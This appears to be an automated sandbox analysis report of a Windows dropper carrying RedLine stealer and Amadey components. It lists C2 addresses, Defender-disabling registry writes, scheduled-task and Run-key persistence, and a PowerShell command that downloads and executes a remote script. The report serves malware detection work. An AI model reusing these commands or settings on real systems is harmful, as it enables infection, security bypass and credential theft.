Analysis
-
max time kernel
103s -
max time network
129s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
20-03-2023 19:31
Static task
static1
General
-
Target
1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe
-
Size
961KB
-
MD5
cf02dc988311d8406a437e284bc91700
-
SHA1
c6a484808c8161e6d1a11fb4096686e128b36441
-
SHA256
1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995
-
SHA512
10cdf7e04dba7a7567e922c5b884f57f07f1d77336f7fb2d55d80103e6e6a00094a400c9329b2f893057e9a42bd8acd19e6528b097b18c14834672a9a3bf56ae
-
SSDEEP
24576:vyDHZkdrvvihtH6Mk29CjJs5IcOIB/BHMtmJ:6rCv8aA9CjoLr/
Malware Config
Extracted
https://www.mdegmm.com/pdf/debug2.ps1
Extracted
redline
gena
193.233.20.30:4125
-
auth_value
93c20961cb6b06b2d5781c212db6201e
Extracted
redline
vint
193.233.20.30:4125
-
auth_value
fb8811912f8370b3d23bffda092d88d0
Extracted
amadey
3.68
62.204.41.87/joomla/index.php
Signatures
-
Processes:
tz6427.exev1983rq.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" tz6427.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection v1983rq.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" v1983rq.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" v1983rq.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" tz6427.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" tz6427.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" tz6427.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" v1983rq.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" v1983rq.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" v1983rq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection tz6427.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" tz6427.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 20 IoCs
Processes:
resource yara_rule behavioral1/memory/3388-210-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-211-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-213-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-215-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-217-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-219-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-221-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-228-0x0000000004AA0000-0x0000000004AB0000-memory.dmp family_redline behavioral1/memory/3388-227-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-223-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-231-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-233-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-235-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-237-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-239-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-241-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-243-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-245-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-247-0x0000000005060000-0x000000000509E000-memory.dmp family_redline behavioral1/memory/3388-1128-0x0000000004AA0000-0x0000000004AB0000-memory.dmp family_redline -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 67 4760 powershell.exe 68 4760 powershell.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
y47eS06.exelegenda.exesqlcmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation y47eS06.exe Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation legenda.exe Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation sqlcmd.exe -
Executes dropped EXE 11 IoCs
Processes:
zap8493.exezap6718.exezap9964.exetz6427.exev1983rq.exew19ll60.exexqkfu86.exey47eS06.exelegenda.exesqlcmd.exelegenda.exepid process 3872 zap8493.exe 2836 zap6718.exe 1784 zap9964.exe 3592 tz6427.exe 4208 v1983rq.exe 3388 w19ll60.exe 4000 xqkfu86.exe 3944 y47eS06.exe 4424 legenda.exe 2316 sqlcmd.exe 4948 legenda.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 1700 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
tz6427.exev1983rq.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" tz6427.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features v1983rq.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" v1983rq.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 8 IoCs
Processes:
1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exezap8493.exezap6718.exezap9964.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap8493.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" zap8493.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap6718.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" zap6718.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce zap9964.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" zap9964.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 1652 4208 WerFault.exe v1983rq.exe 3404 3388 WerFault.exe w19ll60.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
tz6427.exev1983rq.exew19ll60.exexqkfu86.exepowershell.exepid process 3592 tz6427.exe 3592 tz6427.exe 4208 v1983rq.exe 4208 v1983rq.exe 3388 w19ll60.exe 3388 w19ll60.exe 4000 xqkfu86.exe 4000 xqkfu86.exe 4760 powershell.exe 4760 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
tz6427.exev1983rq.exew19ll60.exexqkfu86.exepowershell.exedescription pid process Token: SeDebugPrivilege 3592 tz6427.exe Token: SeDebugPrivilege 4208 v1983rq.exe Token: SeDebugPrivilege 3388 w19ll60.exe Token: SeDebugPrivilege 4000 xqkfu86.exe Token: SeDebugPrivilege 4760 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exezap8493.exezap6718.exezap9964.exey47eS06.exelegenda.execmd.exesqlcmd.execmd.execmd.exedescription pid process target process PID 2384 wrote to memory of 3872 2384 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe zap8493.exe PID 2384 wrote to memory of 3872 2384 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe zap8493.exe PID 2384 wrote to memory of 3872 2384 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe zap8493.exe PID 3872 wrote to memory of 2836 3872 zap8493.exe zap6718.exe PID 3872 wrote to memory of 2836 3872 zap8493.exe zap6718.exe PID 3872 wrote to memory of 2836 3872 zap8493.exe zap6718.exe PID 2836 wrote to memory of 1784 2836 zap6718.exe zap9964.exe PID 2836 wrote to memory of 1784 2836 zap6718.exe zap9964.exe PID 2836 wrote to memory of 1784 2836 zap6718.exe zap9964.exe PID 1784 wrote to memory of 3592 1784 zap9964.exe tz6427.exe PID 1784 wrote to memory of 3592 1784 zap9964.exe tz6427.exe PID 1784 wrote to memory of 4208 1784 zap9964.exe v1983rq.exe PID 1784 wrote to memory of 4208 1784 zap9964.exe v1983rq.exe PID 1784 wrote to memory of 4208 1784 zap9964.exe v1983rq.exe PID 2836 wrote to memory of 3388 2836 zap6718.exe w19ll60.exe PID 2836 wrote to memory of 3388 2836 zap6718.exe w19ll60.exe PID 2836 wrote to memory of 3388 2836 zap6718.exe w19ll60.exe PID 3872 wrote to memory of 4000 3872 zap8493.exe xqkfu86.exe PID 3872 wrote to memory of 4000 3872 zap8493.exe xqkfu86.exe PID 3872 wrote to memory of 4000 3872 zap8493.exe xqkfu86.exe PID 2384 wrote to memory of 3944 2384 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe y47eS06.exe PID 2384 wrote to memory of 3944 2384 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe y47eS06.exe PID 2384 wrote to memory of 3944 2384 1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe y47eS06.exe PID 3944 wrote to memory of 4424 3944 y47eS06.exe legenda.exe PID 3944 wrote to memory of 4424 3944 y47eS06.exe legenda.exe PID 3944 wrote to memory of 4424 3944 y47eS06.exe legenda.exe PID 4424 wrote to memory of 3100 4424 legenda.exe schtasks.exe PID 4424 wrote to memory of 3100 4424 legenda.exe schtasks.exe PID 4424 wrote to memory of 3100 4424 legenda.exe schtasks.exe PID 4424 wrote to memory of 4496 4424 legenda.exe cmd.exe PID 4424 wrote to memory of 4496 4424 legenda.exe cmd.exe PID 4424 wrote to memory of 4496 4424 legenda.exe cmd.exe PID 4496 wrote to memory of 4164 4496 cmd.exe cmd.exe PID 4496 wrote to memory of 4164 4496 cmd.exe cmd.exe PID 4496 wrote to memory of 4164 4496 cmd.exe cmd.exe PID 4496 wrote to memory of 848 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 848 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 848 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 4220 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 4220 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 4220 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 3620 4496 cmd.exe cmd.exe PID 4496 wrote to memory of 3620 4496 cmd.exe cmd.exe PID 4496 wrote to memory of 3620 4496 cmd.exe cmd.exe PID 4496 wrote to memory of 3524 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 3524 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 3524 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 3436 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 3436 4496 cmd.exe cacls.exe PID 4496 wrote to memory of 3436 4496 cmd.exe cacls.exe PID 4424 wrote to memory of 2316 4424 legenda.exe sqlcmd.exe PID 4424 wrote to memory of 2316 4424 legenda.exe sqlcmd.exe PID 4424 wrote to memory of 2316 4424 legenda.exe sqlcmd.exe PID 2316 wrote to memory of 2256 2316 sqlcmd.exe cmd.exe PID 2316 wrote to memory of 2256 2316 sqlcmd.exe cmd.exe PID 2256 wrote to memory of 4760 2256 cmd.exe powershell.exe PID 2256 wrote to memory of 4760 2256 cmd.exe powershell.exe PID 2316 wrote to memory of 4984 2316 sqlcmd.exe cmd.exe PID 2316 wrote to memory of 4984 2316 sqlcmd.exe cmd.exe PID 2316 wrote to memory of 4984 2316 sqlcmd.exe cmd.exe PID 4984 wrote to memory of 3408 4984 cmd.exe PING.EXE PID 4984 wrote to memory of 3408 4984 cmd.exe PING.EXE PID 4984 wrote to memory of 3408 4984 cmd.exe PING.EXE PID 4424 wrote to memory of 1700 4424 legenda.exe rundll32.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe"C:\Users\Admin\AppData\Local\Temp\1b8399612e8754640652821dea183ac51f2e73c842e34ac0ed500c26f6c28995.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2384 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap8493.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap8493.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6718.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6718.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap9964.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap9964.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6427.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz6427.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3592 -
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1983rq.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1983rq.exe5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4208 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4208 -s 10846⤵
- Program crash
PID:1652 -
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w19ll60.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w19ll60.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3388 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3388 -s 13485⤵
- Program crash
PID:3404 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xqkfu86.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xqkfu86.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4000 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47eS06.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47eS06.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F4⤵
- Creates scheduled task(s)
PID:3100 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit4⤵
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵PID:4164
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:N"5⤵PID:848
-
C:\Windows\SysWOW64\cacls.exeCACLS "legenda.exe" /P "Admin:R" /E5⤵PID:4220
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"5⤵PID:3620
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:N"5⤵PID:3524
-
C:\Windows\SysWOW64\cacls.exeCACLS "..\f22b669919" /P "Admin:R" /E5⤵PID:3436
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2316 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"5⤵
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4760 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe" >> NUL5⤵
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:3408 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main4⤵
- Loads dropped DLL
PID:1700
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4208 -ip 42081⤵PID:3744
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3388 -ip 33881⤵PID:2668
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeC:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe1⤵
- Executes dropped EXE
PID:4948
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
2KB
MD5fc88b7748eb4cd37ae886a1c0813e4cf
SHA123e30b76fc94f0467a3efad342a91a3b84ff1eea
SHA2563d81e317f8816680185517d7719e51fdbcd5807f9c629c4e3d0408820ec458da
SHA512bb8ffaa2e8e581aa8d9a2e39b5f16c784d1431b4c18acc71b8fea84a4982d13a8ed1e5cf295c459ca35d8d4604c050210e0771386e7fe57d35c5ccd41fb92211
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
1KB
MD5cb684ec7fe8555f949182c7423dafdc2
SHA1ec49f7b4b777fa1da40af5328785782127ffc52c
SHA2568e17b090e2d07abf04860e961e601d8c663d3eaafd16190e6e6b6a4f018c0b0e
SHA512ef627ca15ac143710b707ce28bd0cbe3447446db64c61f89d78f7c868cad07bd267563a7927ac4cd733adf2da3d58dcfadba54f8e0bc78e06d79cd389b77e500
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDAFilesize
482B
MD5cea2c1bf73d6ab6a3fa2ceffde4cfa9a
SHA19ed95102411cb0c5f370a38cb5a841d71d2545fd
SHA2565ccf6e116f4341c842f8ef16b1609dfe2ac5fa19c2371964c885bfbc1cea7c62
SHA5122b17a2bbcfe1e16d919d8fd6c9f53b98b9b0e1fa6852d211d5ee9608f8ba14e4e475004ac1e032c0f40105f4d148722537e1f1304d9bdbd558a324d21bf82760
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691Filesize
486B
MD56f3256c16ed98c1ecf799dbe1e0057ac
SHA17e63f8ec858d5d75f5677a014334eaafa2710d62
SHA25627a0fe6b4a332cd2e9a37fecff8ea0d0c85e3fbb88cec26b69484a700f19e50e
SHA51233a6b14cff0fe92ed44c9d43ffd5dc3ea2fae501d1c5dc8ce5de37a2f070f6892c4d8b84c666a901816375acb970d14299d04d3a7988eec24f0d4bf7a73952d8
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exeFilesize
144KB
MD5b5baf2e6261a1fb05bb2654c8d099dd6
SHA12a5b25fcb9e9f584d0a162b734c7dcc53c6e0550
SHA2564a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d
SHA5124ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47eS06.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y47eS06.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap8493.exeFilesize
777KB
MD59ac9bcc069f1a989e90f5c5e9db61936
SHA12f7b350c25c840b61ffc6cac32bc18e75a2b59cb
SHA25649ce1feca0fb3a12d90dec1da1e7ca48065777ac3e088a65d923a9950c6bf2d7
SHA5126ac13da4cf3589b3602e9cb5f08284a633c907b5b98bb18d2954ae47b9b0c3562bf5e88d5656a738f5f66809abe957558ba84b50181e000d138a9f9fc8c3a61a
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap8493.exeFilesize
777KB
MD59ac9bcc069f1a989e90f5c5e9db61936
SHA12f7b350c25c840b61ffc6cac32bc18e75a2b59cb
SHA25649ce1feca0fb3a12d90dec1da1e7ca48065777ac3e088a65d923a9950c6bf2d7
SHA5126ac13da4cf3589b3602e9cb5f08284a633c907b5b98bb18d2954ae47b9b0c3562bf5e88d5656a738f5f66809abe957558ba84b50181e000d138a9f9fc8c3a61a
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xqkfu86.exeFilesize
175KB
MD53389637c0d072121bf1b127629736d37
SHA1300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA2562b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xqkfu86.exeFilesize
175KB
MD53389637c0d072121bf1b127629736d37
SHA1300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA2562b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6718.exeFilesize
635KB
MD5e5b4ac350937b6897744c408ebfbcab8
SHA117e14d15a7fe8c506fd19f27eb6b3406813207d2
SHA25640f2a7cc5c858fbe40ec42be5efd940b572e1f6e43d0416a88a45f3fb3c75d03
SHA51247b08a7e6a2b9a1d5df4d1ff8ed239cb28bae9583c37abd35eb499bfc0d5eb6beac5b0f620259da2f67dd033a55c4d71167b802771decb9a7ad7cab3aeb1db03
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6718.exeFilesize
635KB
MD5e5b4ac350937b6897744c408ebfbcab8
SHA117e14d15a7fe8c506fd19f27eb6b3406813207d2
SHA25640f2a7cc5c858fbe40ec42be5efd940b572e1f6e43d0416a88a45f3fb3c75d03
SHA51247b08a7e6a2b9a1d5df4d1ff8ed239cb28bae9583c37abd35eb499bfc0d5eb6beac5b0f620259da2f67dd033a55c4d71167b802771decb9a7ad7cab3aeb1db03
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w19ll60.exeFilesize
288KB
MD52db3af6e6bceebef7b2c5e44bbac1cc1
SHA1eb867a53f607222c7bb80b05323c1862bba53661
SHA256aba1a255719a6f8d57b2a743792b63b5b01b90f622375bc1592a493fc526a911
SHA512631764a21f6114adf46b21e07cd082505308ac34fa50ce84e3700ebab85eaa11e76d7dcd21e4ae2c836d46ca972fc0c4aa2b6a4b64ac413c419c8b4fb59a9976
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w19ll60.exeFilesize
288KB
MD52db3af6e6bceebef7b2c5e44bbac1cc1
SHA1eb867a53f607222c7bb80b05323c1862bba53661
